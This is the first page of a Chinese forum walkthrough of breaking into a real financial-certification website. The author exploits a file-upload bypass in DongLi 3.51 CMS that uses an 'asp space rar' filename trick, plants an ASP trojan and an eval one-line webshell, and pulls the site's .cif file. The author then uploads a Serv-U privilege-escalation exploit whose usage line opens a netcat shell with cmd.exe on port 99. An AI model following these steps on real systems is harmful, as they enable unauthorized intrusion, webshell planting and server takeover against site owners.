今天小弟郁闷得无聊就在此献丑了
无意中找到国际财务管理师这个网站
如图
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101942931.jpg’);" src="/article/UploadPic/2008-6/2008627101942931.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
随便用user_reg.asp试探下 结果发现是动力3.51的系统
然后注册了一个用户

screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101943637.jpg’);" src="/article/UploadPic/2008-6/2008627101943637.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>

试着访问下upfile_article.asp如图 可见漏洞是存在的

screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101944621.jpg’);" src="/article/UploadPic/2008-6/2008627101944621.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>

好了我们就用upload_article.asp这个空格漏洞上传页面本地先修改下
action=后面填上要上传的页面如图
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101944130.jpg’);" src="/article/UploadPic/2008-6/2008627101944130.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
我们在前面一个上传文件中选中本地一个rar文件(小点的)
后面那个就选上asp木马 我选的小马
记住后面要填上空格如图
其实就是构造了一个asp空格rar的文件
然后空格的代码1改为0
这样就欺骗上传了
这些都是这个上传工具.htm中的功能
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101945988.jpg’);" src="/article/UploadPic/2008-6/2008627101945988.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
上传完毕是一个空白页子
这时右键v查看源文件 找到上传成功的asp木马路径如图
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101945602.jpg’);" src="/article/UploadPic/2008-6/2008627101945602.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
把后面的路径填到网站地址后面 小马出来了 如图
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101947246.jpg’);" src="/article/UploadPic/2008-6/2008627101947246.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
继续：本来打算小马传上去就完了
因为实在不相信我那点菜技术能拿服务器
继续：
我就往下面里面插入Eval一句话木马了如图
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101947874.jpg’);" src="/article/UploadPic/2008-6/2008627101947874.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
然后本地用海洋2006c端的例子提交 记得按加号
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101947517.jpg’);" src="/article/UploadPic/2008-6/2008627101947517.jpg" onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
狠容易找到了cif文件
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101948866.jpg’);" src="/article/UploadPic/2008-6/2008627101948866.jpg" width=820 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
当他把它下载了
继续
把serv-u3.*-6.0所有版本的权限提升漏洞利用程序
by
HaK_BaN QQ:616222
Bug.Center.Team:www.bnso.net
Example: servu.exe "nc.exe -l -p 99 -e cmd.exe"
su.exe传上去
screen.width-461) window.open(’/article/UploadPic/2008-6/2008627101948586.jpg’);" src="/article/UploadPic/2008-6/2008627101948586.jpg" width=820 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>

[1] [2]  下一页

查看更多与入侵国际财务管理师服务器(图)相关内容